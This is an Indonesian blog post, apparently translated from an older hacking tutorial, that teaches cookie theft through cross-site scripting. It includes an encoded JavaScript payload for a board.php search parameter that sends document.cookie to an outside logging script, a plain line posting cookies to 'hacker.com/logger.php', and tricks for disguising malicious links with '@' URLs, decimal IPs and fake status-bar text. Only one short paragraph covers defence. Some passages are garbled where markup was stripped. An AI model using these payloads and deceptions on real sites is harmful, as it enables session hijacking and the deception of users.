JAVASCRIPT

Jasakom - Melanjutkan artikel sebelumnya, kali ini kita akan melihat sisi lain dari cookie yang sangat berbahaya ketika cookie bisa dicuri.

Catatan: Untuk melakukan hal ini Anda membutuhkan sedikit dari pengetahuan javascript tingkat lanjut, dan beberapa script sisi server seperti perl/php/asp.

Pencurian cookies dapat menjadi masalah serius bagi banyak situs. Seluruhnya tergantung pada bagaimana suatu situs mengeset keamanannya. Jika suatu situs hanya menggunakan cookies untuk mengidentifikasi user, maka tentu saja sangat rentan. Jika anda membutuhkan login kemudian seringkali tanpa kecuali mencoba dan mencuri cookies.   Dengan catatan, tentunya username dan password yang tersimpan dalam cookie dan tidak terenkripsi. Terkadang anda bahkan dapat mengakses tanpa login.  Kita akan mengambil contoh pada betapa rentannya situs http://neworder.box.sk saat kita mencuri beberapa tutorial LI, meskipun mereka tidak rentan akan hal ini karena anda harus login ke situsnya dan password user tidak ada dalam cookie. (silakan dilihat jika mereka mencuri suatu tutorial yang menjelaskan bagaimana mengeksploit sebuah hole dalam dari script mereka. Bagaimana kita akan mengeksploitasi bug ini adalah sederhana saja kok. Tinggal ketik ini pada browser http://neworder.box.sk/box.php3?prj=neworder&newonly=1&gfx=neworder&txt=what's+new

Apa sich kelemahan script ini? Tidak meloloskan karakter terinput yang dicetak ke halaman. Saya katakan pada anda tentang meloloskan karakter adalah penting.  Script tersebut malah membiarkan sebuah tag sederhana
 untuk menghentikan javascript.
Jadi hal pertama yang harus kita lakukan adalah menguji dan melihat bagaimana berbagai karakter (jika saja) tidak diloloskan untuk kita gunakan. Setelah memeriksa berbagai karakter berikut ini: ' " ; | < > / dan % kita menemukan bahwa mereka dapat meloloskan karakter ' dan ". Jika tidak, kita akan mengeksploit script php-nya dan memiliki kendali penuh atas situs. Saya akan memberikan sedikit trik yang dalam satu detik dimana kita mampu mendaptkan javascript untuk mencetak ' dan ". Namun untuk saat ini kita harus menghentikan tag
. Jadi kita akhiri
dengan tag 
kemudian memasukkan berbagai jagascript yang kita kehendaki.

Pada paragraf pertama, telah saya katakan bahwa javascript sangatlah aman, karena tidak dapat dibaca-tulis file apapun pada hard drive user selain cookies. Disinilah kita akan memanfaatkan javascript untuk membaca cookie user NewOrder dan kemudian menggunakan javascript untuk mengirimkan ke mereka suatu cgi script dimana kita me-log cookie mereka ke sebuah file teks. Setelah ini kita memeriksa log dari script cgi dan menyimpan cookie yang tetap terpelihara oleh browser. Atau, kita bisa mendapatkan username dan password dari cookie dan login ke situs NewOrder (NewOrder tidak menyimpan password user ke dalam cookie).

Jadi sekarang untuk mencetak javascript yang akan mencuri cookie tersebut. Apa yang harus kita lakukan adalah menggunakan script yang mencetak karakter yang tidak luput ke halaman yang seolah-olah javascript yang sebenarnya pada situs tersebut. Jadi kita dapat melihat dan mengedit cookie user. Terdapat dua masalah utama yang harus ktia atasi. Pertama kita ingin mencetak suatu string tana menggunakan ' dan " sewaktu script php situs neworder meloloskan karakter tersebut. Bagaimana kita melakukan hal ini adalah dengan menggunakan javascript yang tidak membutuhkan ' atau " dan mencetak berbagai karakternya. Berikut ini adalah satu cara untuk melakukannya.


Kita membutuhkan %2B sebagai ganti +, karena + menjadi sebuah spasi saat anda jadikan script. Mungkin ada cara yang lebih mudah melakukan hal ini selain menggunakan fromCharCode,  entahlah =). 0x0068 adalah ascii untuk h.  74 untuk t.. (Anda dapat menggunakan grafik ascii dari situs http://www.elfqrin.com/docs/hakref/ascii_table.html ):
68=h 74=t 74=t 70=p 3A=: 2F=/ 2F=/ 73=s 69=i 74=t 65=e 2E=. 63=c 6F=o 6D=m 2F=/ 61=a 2E=. 63=c 67=g 69=i 3F=? Dengan kata lain buatlah var u ke string http://site.com/a.cgi?

Baiklah, jadi kita telah mendapatkan suatu string dalam sebuah variabel tanpa menggunakan ' atau ". var u = 'http://site.com/a.cgi?'; akan menjadi sama hanya jika script tidak terfilter pada ' dan ". Sekarang setelah mendapatkan string apa selanjutnya yang akan kita lakukan? hmm.. apa yang kita coba lakukan adalah mendapatkan cookie dalam sebuah string dan kemudian mengirimnya ke script cgi yang me-log apa yang ada dalam cookie. document.cookie adalah cookie untuk situs tersebut. Jika terdapat lebih dari satu cookie, maka anda harus menggunakan sedikit trik berikut ini. Cobalah halaman ini untuk belajar bagaimana menangani banyak cookie. Sekarang kita ingin menambahkan cookie ke akhir url tersebut, jadi:
u %2B= document.cookie;

Ouw! variabel u kita sekarang berupa http://site.com/a.cgi?user_s_cookie (namun user_s_cookie adalah nilai aktual dari cookie mereka). Jadi sekarang kita membuat javascript yang mengarahkan user ke url.document.location.replace(u);

Hal ini akan mengirim mereka ke var u kita, dimana a.cqi akan berubah menjadi suatu script cgi yang hanya me-log apapun yagn di input ke suatu database. Teknik lain untuk me-log cookie mereka adalah dengan menaruh sesuatu  seperti ini:

/(document.cookie)"> Tapi sewaktu filter script ' dan " akan menjadi sebuah url panjang untuk menaruh fromCharCode pada setiap karakter... pula, anda harus memiliki akses untuk me-log situs tersebut dengan tujuan memeriksa apakah file-file yang diminta dari direktori 'somedir'.

Seluruh teknik pencurian cookie membutuhkan beberapa jenis script di situs anda untuk me-log cookie sewaktu dikirim sebagai sebuah url.

Sekali anda memiliki cookie user terdapat dua hal yang perlu diperhatikan. Adakalanya situs yang menaruh username dan passwordnya di dalam cookie. Dalam kasus ini anda hanya me-log ke situs dengan hal tersebut. Beberapa situs lain hanya menggunakan cookie sederhana untuk keperluan otentikasi user. Tanpa meminta login.

Sebagai contoh www.geocities.com, jika anda mendapatkan sebuah 404 error, akan tercetak pada url seperti ini:

now if you have a cookie of a geocities member you can go to www.geocities.com and you will automatically be logged in.  From there you have full control over their account.

Namun geocities melakukan beberapa hal untuk menghentikan ini. Mereka mengarahkan websitenya ke http://geocities.yahoo.com .. jadi cookie user adalah sebuah cookie yahoo yang sebenarnya ;( Jika anda mencoba trik yang sama dimana anda mendapatkan file 404 pada yahoo yang tidak akan mencetak karakter < dan >. Namun jika anda menemukan suatu script pada yahoo yang tercetak < dan > anda dapat dengan mudah melakukan hal ini. Dan terdapat script pada yahoo yang rentan terhadap Cross Site Scripting, beberapa kasus telah dilaporkan ke milis buqtraq dan sayalah yang menemukan salah satunya.

Jadi bagaimana anda akan mendapatkan user yang mengunjungi url ini? cobalah sesuatu seperti ...

sumber untuk link pemain di www.redlite.com ini:


notice the:
onMouseOver="window.status='http://www.redlite.com/signup2.php?boobs-and-guy';return true"
and
onMouseOut="window.status='';return true"

Pada akhirnya ... ini untuk menipu user agar berpikir bahwa ada link utama disuatu tempat lainnya. Sekali lagi, menggunakan javascript untuk memanipulasi apa yang user lihat untuk mengelabuinya.

Script lainnya pada mesin edge yang rentan terhadap cross site scripting adalah board.php, berikut ini contoh eksploitasinya

http://www.site.com/board.php?search= var u =
String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B=
String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x003A);u %2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0062);u %2B=
String.fromCharCode(0x0030);u %2B= String.fromCharCode(0x0067);u %2B=
String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x006F);u %2B=
String.fromCharCode(0x0072);u %2B= String.fromCharCode(0x0067);u %2B=
String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x003F);u %2B=
document.cookie;document.location.replace(u); &did=edge0

Jadi bagaimana seorang coder menghentikan rentannya serangan ini? Saya katakan jangan pernah mencetak data yang diinput user kembali ke user. juga filter keluar <, >, dan lindugi semua url dengan encoding sebelum memfilter input. Saya sudah menemukan suatu cara untuk mencuri cookie dalam ikonboard lama menggunakan profile.cgi, meskipun tidak terlalu besar jumlahnya sewaktu terjadi celah keamanan yang serius pada ikonboard. Hal ini dikarenakan teknik pemrograman yang buruk yaitu mencetak input yang tidak difilterisasi. Sekarang ikonboard sudah tidak menggunakan profile.cgi, tidak mencetak dapat yang diinput ke layar dan memfilter data. Biasanya script webmail sangat rentan terhadap cross site scripting.. dan adalah benar sebuah kerentanan terjadi pada script alais-mail nya tim solution script yang saya temukan setahun lalu.

Beberapa masalah lain dengan javascript dan pencurian cookie:

http://www.peacefire.org/security/hmattach/ -  Sebuah eksploitasi terhadap Hotmail.  Saat hotmail tidak memfilter javascript dan diperbolehkannya lampiran .html untuk ditampilkan tanpa di download.

http://www.securityspace.com/exploit/exploit_1b.html

http://www.peacefire.org/security/iecookies/ - Pembukaan cookie jar, pembuka remote cookie. Menggunakan %2F dimaksudkan untuk / membuat IE menganggap bahwa itu adalah suatu situs.

http://homepages.paradise.net.nz/~glineham/cookiemonster.html

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms01-055.asp - Script aktif sebenarnya, bukannya javascript.

Kemudian terdapat artikel mengenai :// dan membaca isi file mengenai rentannya IE, yang baru dilaporkan ke milis buqtraq.. Saya merencanakan untuk mendiskusikan secara lebih detil saat mengupdate tutorial ini.

Banyak orang mengatakan kepada saya, "Tapi tak seorang pun menunjukkan gelagat akan meng-klik link yang terdapat javascript untuk mencuri cookie" ini memang benar. Saat url sederhana seperti

http://site.com/vulnscript.cgi? document.location.replace('http://hacker.com/logger.php?' + document.cookie);

Itulah mengapa kita ingin mengelabui mereka agar menganggap url tidaklah berbahaya. Berikut ini satu cara:

Teknik mengaburkan url:

Satu cara mengelabui user untuk meng-klik link yang mereka pikir terhubung ke tempat lain adalah menggunakan trik onmouseover, membuat url terlihat seolah-olah terhubung ke suatu tempat lain. Tentu saja anda tidak dapat menggunakan ini saat menggunakan protokol yang tidak mendukung html atau yang dilengkapi blok javascript dan onmouseover. Jadi maksud dari http://site.com anda mempunyai localhost http://127.0.0.1 mungkin tidak menolong banyak tentang bagaimana kita menggunakan trik ini. Saat browser login ke direktori .htaccess, mereka dapat saja menggunakan sintak berikut ini:

http://username:password@site.com

Anda lihat mengapa hal ini sangatlah penting. Tanpa password anda dapat memiliki sesuatu seperti :

http://username@site.com

dan akan bekerja dengan baik. Dengan mencoba login ke site.com melalui username = 'username' dan tanpa password. Sekarang apa yang terjadi bila disana tidak terdapat file .htaccess? maka tidak menjadi masalah apa yang username dan password masukkan, kemudian me-load halaman secara normal. Jadi sesuatu seperti ini dapat saja berupa:

http://microsoft.com/site/dir/helpdesk.asp@site.com

Anda lihat bagaimana hal ini biasa digunakan agar orang meng-klik link dan berpikir keterangan lainnya disuatu tempat? bahkan jika dalam bentuk plain text sudah banyak orang percaya bahwa link tersebut milik situs microsoft.com.

Ada banyak cara yang berbeda untuk "mengaburkan" url dari user untuk menolong anda menipu mereka. Salah satu diantaranya melibatkan peng-konversi an alamat ip ke persamaan decimal. Saya tidak akan menutupi hal ini, namun terdapat banyak tutorial lain di internet dimana anda dapat mempelajari hal ini. Saya sekedar membiarkan anda menggunakan script ini untuk secara otomatis meng-konversi alamat ip ke nilai decimal.

IPa IPb IPc IPd =

Sekarang gunakan ini yang dimaksudkan dari site.com dan anda akan mendapatkan sesuatu seperti:

http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F [menyisipkan teknik jahat javascript url ter-encode disini]

Sekarang anda tidak melihat sesuatu seperti http://site.com/a.cgi? (ini teknik jahat asli javascript)

yang akan menjadi sangat aman untuk user mengatakan apa yang harus dilakukan. Mari kita melampaui langkah pertama sekali waktu, sekedar meyakinkan anda mendapatkannya. Pertama buatlah berbagai nama situs (tidak mesti url yang valid)

http://aol.com/scripts/userid.jsp?

tambahkan karakter @ ke bagian akhirnya sehingga menjadi:

http://aol.com/scripts/userid.jsp?@

maka alamat ip anda dari localhost dalam form decimal adalah:

http://aol.com/scripts/userid.jsp?@3639550308

kemudian selanjutnya dari path pada url yang ter-encoding adalah:

http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F

termasuk encode url javascript dan menaruhnya ke bagian akhir. Hal ini hanyalah satu metode dari mengaburkan url, masih banyak teknik lainnya.

No comments:

Post a Comment